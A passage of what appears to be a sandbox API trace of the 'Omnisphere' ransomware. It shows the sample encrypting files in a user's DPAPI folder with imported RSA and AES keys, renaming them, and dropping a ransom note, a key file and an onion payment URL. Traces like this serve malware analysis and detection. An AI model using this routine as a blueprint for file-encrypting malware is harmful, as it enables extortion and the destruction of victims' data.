ftLastAccessTime.dwLowDateTime=0x1862c0db, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x187370d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="67634331-9abb-48ea-9c31-082141ff901d", cAlternateFileName="676343~1")) returned 1 [0116.940] GetProcessHeap () returned 0x1600000 [0116.940] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x118) returned 0x160e0d8 [0116.940] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="67634331-9abb-48ea-9c31-082141ff901d" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d" [0116.940] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0116.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.940] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=468) returned 1 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.940] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] GetTickCount () returned 0x115d3b7 [0116.941] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668240) returned 1 [0116.942] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0116.942] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.942] CryptDestroyKey (hKey=0x16396e8) returned 1 [0116.942] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0116.942] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4, lpName=0x0) returned 0x288 [0116.943] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4) returned 0x1480000 [0116.943] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0116.943] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0116.944] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.945] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.946] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.946] CryptDestroyKey (hKey=0x1639568) returned 1 [0116.946] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0116.946] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.946] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.948] GetProcessHeap () returned 0x1600000 [0116.948] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x328) returned 0x1694330 [0116.948] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere")) returned 1 [0116.958] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere.id" [0116.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.959] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.960] CloseHandle (hObject=0x3c0) returned 1 [0116.962] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.962] CloseHandle (hObject=0x288) returned 1 [0116.962] SetEndOfFile (hFile=0x28c) returned 1 [0116.963] FlushFileBuffers (hFile=0x28c) returned 1 [0116.966] CloseHandle (hObject=0x28c) returned 1 [0116.966] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\67634331-9abb-48ea-9c31-082141ff901d" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0116.966] GetProcessHeap () returned 0x1600000 [0116.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1694660 [0116.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.966] GetProcessHeap () returned 0x1600000 [0116.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693af8 [0116.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693af8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.966] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.967] GetProcessHeap () returned 0x1600000 [0116.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16872c8 [0116.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16872c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.967] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.967] GetProcessHeap () returned 0x1600000 [0116.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x16414e8 [0116.967] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0116.967] GetProcessHeap () returned 0x1600000 [0116.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168bdc0 [0116.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.967] WriteFile (in: hFile=0x28c, lpBuffer=0x168bdc0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168bdc0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.967] CloseHandle (hObject=0x28c) returned 1 [0116.967] GetProcessHeap () returned 0x1600000 [0116.968] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1694660 | out: hHeap=0x1600000) returned 1 [0116.968] GetProcessHeap () returned 0x1600000 [0116.968] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x16499a8 [0116.968] PathCombineW (in: pszDest=0x16499a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0116.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.968] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.968] CloseHandle (hObject=0x28c) returned 1 [0116.968] GetProcessHeap () returned 0x1600000 [0116.968] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16499a8 | out: hHeap=0x1600000) returned 1 [0116.968] GetProcessHeap () returned 0x1600000 [0116.968] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0116.968] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a6118fa, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a6118fa, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bb4ea93, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="7a70842e-d6a2-46c1-966c-384a4ef9d347", cAlternateFileName="7A7084~1")) returned 1 [0116.968] GetProcessHeap () returned 0x1600000 [0116.968] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x118) returned 0x160e0d8 [0116.969] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="7a70842e-d6a2-46c1-966c-384a4ef9d347" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" [0116.969] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0116.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.969] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=468) returned 1 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.969] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] GetTickCount () returned 0x115d3d7 [0116.970] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0116.971] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0116.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.971] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.971] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0116.971] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4, lpName=0x0) returned 0x288 [0116.971] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4) returned 0x1480000 [0116.972] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0116.972] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16397a8) returned 1 [0116.973] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.973] CryptEncrypt (in: hKey=0x16397a8, 